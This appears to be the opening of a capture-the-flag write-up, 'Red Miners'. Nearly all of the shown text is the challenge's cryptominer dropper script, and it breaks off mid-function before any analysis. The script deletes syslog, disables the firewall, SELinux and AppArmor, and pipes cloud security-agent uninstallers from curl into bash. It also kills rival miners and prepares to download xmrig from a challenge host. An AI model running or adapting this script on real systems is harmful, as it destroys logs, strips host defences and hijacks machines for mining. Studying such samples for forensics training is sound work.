Red Miners
26 minutes to read
We are given the following Bash script:
#!/bin/bash
checkTarget() {
EXPECTED_USERNAME="root7654"
EXPECTED_HOSTNAME_PREFIX="UNZ-"
CURRENT_USERNAME=$(whoami)
CURRENT_HOSTNAME=$(hostname)
if [[ "$CURRENT_USERNAME" != "$EXPECTED_USERNAME" ]]; then
exit 1
fi
if [[ ! "$CURRENT_HOSTNAME" == "$EXPECTED_HOSTNAME_PREFIX"* ]]; then
exit 1
fi
}
BIN_MD5="96cc922d3eb9ef23859377119332f8d7"
BIN_DOWNLOAD_URL="http://tossacoin.htb/xmrig"
BIN_DOWNLOAD_URL2="http://tossacoin.htb/xmrig"
BIN_NAME="xmrig"
cleanEnv() {
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo "nope" >/tmp/log_rot
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
userdel akay
userdel vfinder
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
ps aux| grep "/dot"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
pkill -f hezb
ps aux| grep "tracepath"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
pkill -f /tmp/.out
ps aux| grep "./ll1"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
pkill -f .git/kthreaddw
ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
crontab -l | sed '/base64/d' | crontab -
crontab -l | sed '/python/d' | crontab -
crontab -l | sed '/shm/d' | crontab -
crontab -l | sed '/postgresql/d' | crontab -
crontab -l | sed '/cloudfronts/d' | crontab -
crontab -l | sed '/sshd/d' | crontab -
crontab -l | sed '/linux/d' | crontab -
crontab -l | sed '/neoogilvy/d' | crontab -
crontab -l | sed '/rsync/d' | crontab -
crontab -l | sed '/bpdeliver/d' | crontab -
pkill -f sshd
pkill -f htop
pkill -f linuxsys
pkill -f kthreaddo
pkill -f donkey
netstat -anp | grep ":1414" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep "127.0.0.1:52018" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :4444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :14444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :14433 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :13531 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
cat /tmp/.X11-unix/01|xargs -I % kill -9 %
cat /tmp/.X11-unix/11|xargs -I % kill -9 %
cat /tmp/.X11-unix/22|xargs -I % kill -9 %
cat /tmp/.systemd.1|xargs -I % kill -9 %
cat /tmp/.systemd.2|xargs -I % kill -9 %
cat /tmp/.systemd.3|xargs -I % kill -9 %
kill -9 $(cat /tmp/.systemd.1)
kill -9 $(cat /tmp/.systemd.2)
kill -9 $(cat /tmp/.systemd.3)
cat /tmp/.pg_stat.0|xargs -I % kill -9 %
cat /tmp/.pg_stat.1|xargs -I % kill -9 %
cat $HOME/data/./oka.pid|xargs -I % kill -9 %
pkill -f p8444
pkill -f supportxmr
pkill -f monero
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
pkill -f cruner
pkill -f dbused
pkill -f bashirc
pkill -f meminitsrv
pkill -f kthreaddi
pkill -f srv00
pkill -f /tmp/.javae/javae
pkill -f .javae
pkill -f .syna
pkill -f .main
pkill -f xmm
pkill -f solr.sh
pkill -f /tmp/.solr/solrd
pkill -f /tmp/javac
pkill -f /tmp/.go.sh
pkill -f /tmp/.x/agetty
pkill -f /tmp/.x/kworker
pkill -f c3pool
pkill -f /tmp/.X11-unix/gitag-ssh
pkill -f /tmp/1
pkill -f /tmp/okk.sh
pkill -f /tmp/gitaly
pkill -f /tmp/.x/kworker
pkill -f /tmp/.X11-unix/supervise
pkill -f /tmp/.ssh/redis.sh
ps aux| grep "./udp"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v xmrig| awk '{print $2}'|xargs -I % kill -9 %
ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
ps aux| grep "sleep 60"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps aux| grep "./crun"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -vw kdevtmpfsi | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi|grep -v postgresq1 | awk '$3>80.0{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
systemctl stop c3pool_miner.service
pkill -f pastebin
pkill -f ssh-agent
pgrep -f monerohash | xargs -I % kill -9 %
pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
pgrep -f xzpauectgr | xargs -I % kill -9 %
pgrep -f slxfbkmxtd | xargs -I % kill -9 %
pgrep -f mixtape | xargs -I % kill -9 %
pgrep -f addnj | xargs -I % kill -9 %
pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
pgrep -f mqdsflm.cf | xargs -I % kill -9 %
pgrep -f stratum | xargs -I % kill -9 %
pgrep -f lower.sh | xargs -I % kill -9 %
pgrep -f ./ppp | xargs -I % kill -9 %
pgrep -f cryptonight | xargs -I % kill -9 %
pgrep -f ./seervceaess | xargs -I % kill -9 %
pgrep -f ./servceaess | xargs -I % kill -9 %
pgrep -f ./servceas | xargs -I % kill -9 %
pgrep -f ./servcesa | xargs -I % kill -9 %
pgrep -f ./vsp | xargs -I % kill -9 %
pgrep -f ./jvs | xargs -I % kill -9 %
pgrep -f ./pvv | xargs -I % kill -9 %
pgrep -f ./vpp | xargs -I % kill -9 %
pgrep -f ./pces | xargs -I % kill -9 %
pgrep -f ./rspce | xargs -I % kill -9 %
pgrep -f ./haveged | xargs -I % kill -9 %
pgrep -f ./jiba | xargs -I % kill -9 %
pgrep -f ./watchbog | xargs -I % kill -9 %
pgrep -f ./A7mA5gb | xargs -I % kill -9 %
pgrep -f kacpi_svc | xargs -I % kill -9 %
pgrep -f kswap_svc | xargs -I % kill -9 %
pgrep -f kauditd_svc | xargs -I % kill -9 %
pgrep -f kpsmoused_svc | xargs -I % kill -9 %
pgrep -f kseriod_svc | xargs -I % kill -9 %
pgrep -f kthreadd_svc | xargs -I % kill -9 %
pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
pgrep -f kintegrityd_svc | xargs -I % kill -9 %
pgrep -f jawa | xargs -I % kill -9 %
pgrep -f oracle.jpg | xargs -I % kill -9 %
pgrep -f servim | xargs -I % kill -9 %
pgrep -f kblockd_svc | xargs -I % kill -9 %
pgrep -f native_svc | xargs -I % kill -9 %
pgrep -f ynn | xargs -I % kill -9 %
pgrep -f 65ccEJ7 | xargs -I % kill -9 %
pgrep -f jmxx | xargs -I % kill -9 %
pgrep -f 2Ne80nA | xargs -I % kill -9 %
pgrep -f sysstats | xargs -I % kill -9 %
pgrep -f systemxlv | xargs -I % kill -9 %
pgrep -f watchbog | xargs -I % kill -9 %
pgrep -f OIcJi1m | xargs -I % kill -9 %
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f XJnRj
pkill -f mgwsl
pkill -f pythno
pkill -f jweri
pkill -f lx26
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f polkitd
pkill -f nanoWatch
pkill -f zigw
pkill -f devtool
pkill -f devtools
pkill -f systemctI
pkill -f watchbog
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmrig-cpu
pkill -f 121.42.151.137
pkill -f sysguard
pkill -f networkservice
pkill -f sysupdate
pkill -f phpguard
pkill -f phpupdate
pkill -f networkmanager
pkill -f /tmp/init12.cfg
pkill -f kieuanilam.me
pkill -f init12.cfg
pkill -f nginxk
pkill -f tmp/wc.conf
pkill -f xmrig-notls
pkill -f xmr-stak
pkill -f suppoie
pkill -f zer0day.ru
pkill -f dbus-daemon--system
pkill -f nullcrew
pkill -f systemctI
pkill -f kworkerds
pkill -f init10.cfg
pkill -f /wl.conf
pkill -f crond64
pkill -f sustse
pkill -f vmlinuz
pkill -f exin
pkill -f apachiii
rm -rf /usr/bin/config.json
rm -rf /usr/bin/exin
killall log_rot
pkill -f log_rot
rm -rf /tmp/wc.conf
rm -rf /tmp/log_rot
rm -rf /tmp/apachiii
rm -rf /tmp/sustse
rm -rf /tmp/php
rm -rf /tmp/p2.conf
rm -rf /tmp/pprt
rm -rf /tmp/ppol
rm -rf /tmp/javax/config.sh
rm -rf /tmp/javax/sshd2
rm -rf /tmp/.profile
rm -rf /tmp/1.so
rm -rf /tmp/kworkerds
rm -rf /tmp/kworkerds3
rm -rf /tmp/kworkerdssx
rm -rf /tmp/xd.json
rm -rf /tmp/syslogd
rm -rf /tmp/syslogdb
rm -rf /tmp/65ccEJ7
rm -rf /tmp/jmxx
rm -rf /tmp/2Ne80nA
rm -rf /tmp/dl
rm -rf /tmp/ddg
rm -rf /tmp/systemxlv
rm -rf /tmp/systemctI
rm -rf /tmp/.abc
rm -rf /tmp/osw.hb
rm -rf /tmp/.tmpleve
rm -rf /tmp/.tmpnewzz
rm -rf /tmp/.java
rm -rf /tmp/.omed
rm -rf /tmp/.tmpc
rm -rf /tmp/.tmpleve
rm -rf /tmp/.tmpnewzz
rm -rf /tmp/gates.lod
rm -rf /tmp/conf.n
rm -rf /tmp/update.sh
rm -rf /tmp/devtool
rm -rf /tmp/devtools
rm -rf /tmp/fs
rm -rf /tmp/.rod
rm -rf /tmp/.rod.tgz
rm -rf /tmp/.rod.tgz.1
rm -rf /tmp/.rod.tgz.2
rm -rf /tmp/.mer
rm -rf /tmp/.mer.tgz
rm -rf /tmp/.mer.tgz.1
rm -rf /tmp/.hod
rm -rf /tmp/.hod.tgz
rm -rf /tmp/.hod.tgz.1
rm -rf /tmp/84Onmce
rm -rf /tmp/C4iLM4L
rm -rf /tmp/lilpip
rm -rf /tmp/3lmigMo
rm -rf /tmp/am8jmBP
rm -rf /tmp/tmp.txt
rm -rf /tmp/baby
rm -rf /tmp/.lib
rm -rf /tmp/systemd
rm -rf /tmp/lib.tar.gz
rm -rf /tmp/baby
rm -rf /tmp/java
rm -rf /tmp/j2.conf
rm -rf /tmp/.mynews1234
rm -rf /tmp/a3e12d
rm -rf /tmp/.pt
rm -rf /tmp/.pt.tgz
rm -rf /tmp/.pt.tgz.1
rm -rf /tmp/go
rm -rf /tmp/java
rm -rf /tmp/j2.conf
rm -rf /tmp/.tmpnewasss
rm -rf /tmp/java
rm -rf /tmp/go.sh
rm -rf /tmp/go2.sh
rm -rf /tmp/khugepageds
rm -rf /tmp/.censusqqqqqqqqq
rm -rf /tmp/.kerberods
rm -rf /tmp/kerberods
rm -rf /tmp/seasame
rm -rf /tmp/touch
rm -rf /tmp/.p
rm -rf /tmp/runtime2.sh
rm -rf /tmp/runtime.sh
rm -rf /dev/shm/z3.sh
rm -rf /dev/shm/z2.sh
rm -rf /dev/shm/.scr
rm -rf /dev/shm/.kerberods
rm -f /etc/ld.so.preload
rm -f /usr/local/lib/libioset.so
chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
rm -f /usr/local/lib/libioset.so
rm -rf /tmp/watchdogs
rm -rf /etc/cron.d/tomcat
rm -rf /etc/rc.d/init.d/watchdogs
rm -rf /usr/sbin/watchdogs
rm -f /tmp/kthrotlds
rm -f /etc/rc.d/init.d/kthrotlds
rm -rf /tmp/.sysbabyuuuuu12
rm -rf /tmp/logo9.jpg
rm -rf /tmp/miner.sh
rm -rf /tmp/nullcrew
rm -rf /tmp/proc
rm -rf /tmp/2.sh
rm /opt/atlassian/confluence/bin/1.sh
rm /opt/atlassian/confluence/bin/1.sh.1
rm /opt/atlassian/confluence/bin/1.sh.2
rm /opt/atlassian/confluence/bin/1.sh.3
rm /opt/atlassian/confluence/bin/3.sh
rm /opt/atlassian/confluence/bin/3.sh.1
rm /opt/atlassian/confluence/bin/3.sh.2
rm /opt/atlassian/confluence/bin/3.sh.3
rm -rf /var/tmp/f41
rm -rf /var/tmp/2.sh
rm -rf /var/tmp/config.json
rm -rf /var/tmp/xmrig
rm -rf /var/tmp/1.so
rm -rf /var/tmp/kworkerds3
rm -rf /var/tmp/kworkerdssx
rm -rf /var/tmp/kworkerds
rm -rf /var/tmp/wc.conf
rm -rf /var/tmp/nadezhda.
rm -rf /var/tmp/nadezhda.arm
rm -rf /var/tmp/nadezhda.arm.1
rm -rf /var/tmp/nadezhda.arm.2
rm -rf /var/tmp/nadezhda.x86_64
rm -rf /var/tmp/nadezhda.x86_64.1
rm -rf /var/tmp/nadezhda.x86_64.2
rm -rf /var/tmp/sustse3
rm -rf /var/tmp/sustse
rm -rf /var/tmp/moneroocean/
rm -rf /var/tmp/devtool
rm -rf /var/tmp/devtools
rm -rf /var/tmp/play.sh
rm -rf /var/tmp/systemctI
rm -rf /var/tmp/update.sh
rm -rf /var/tmp/.java
rm -rf /var/tmp/1.sh
rm -rf /var/tmp/conf.n
rm -r /var/tmp/lib
rm -r /var/tmp/.lib
rm -rf /tmp/config.json
chattr -iau /tmp/lok
chmod +700 /tmp/lok
rm -rf /tmp/lok
#yum install -y docker.io || apt-get install docker.io;
docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
rm -rf /usr/local/aegis
ROOTUID="0"
BIN_PATH="/etc"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
BIN_PATH="/tmp"
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH not exists or not writeable"
mkdir /tmp
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH replacing with /var/tmp"
BIN_PATH="/var/tmp"
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
TMP_DIR=$(mktemp -d)
echo "$BIN_PATH replacing with $TMP_DIR"
BIN_PATH="$TMP_DIR"
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH replacing with /dev/shm"
BIN_PATH="/dev/shm"
fi
if [ -d "$BIN_PATH/$BIN_NAME" ]; then
echo "$BIN_PATH/$BIN_NAME is directory"
rm -rf $BIN_PATH/$BIN_NAME
fi
if [ -e "$BIN_PATH/$BIN_NAME" ]; then
echo "$BIN_PATH/$BIN_NAME exists"
if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
echo "$BIN_PATH/$BIN_NAME not writeable"
ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
if [ $? -eq 0 ]; then
rm -rf $BIN_PATH/$BIN_NAME
rm -rf $BIN_PATH/kdevtmpfsi
echo "found /dev"
else
echo "not found /dev"
fi
TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
BIN_NAME="xmrig_$TMP_BIN_NAME"
else
echo "writeable $BIN_PATH/$BIN_NAME"
fi
fi
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH still not writeable"
BIN_PATH="/dev/shm"
fi
BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
echo "$BIN_FULL_PATH"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
LDR="wget -q -O -"
fi
if [ -x "$(command -v curl)" ]; then
WGET="curl -o"
elif [ -x "$(command -v wget)" ]; then
WGET="wget -O"
else
echo "wget none"
fi
echo "wget is $WGET"
ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
if [ $? -eq 0 ]; then
rm -rf $BIN_FULL_PATH
rm -rf $SO_FULL_PATH
rm -rf $BIN_PATH/kdevtmpfsi
rm -rf $BIN_PATH/libsystem.so
rm -rf /tmp/kdevtmpfsi
echo "found /dev"
else
echo "not found /dev"
fi
}
check_if_operation_is_active() {
local url="http://tossacoin.htb/cGFydDI9Il90aDMxcl93NHkiCg=="
if curl --silent --head --request GET "$url" | grep "200 OK" >/dev/null; then
echo "Internet is enabled."
else
exit 1
fi
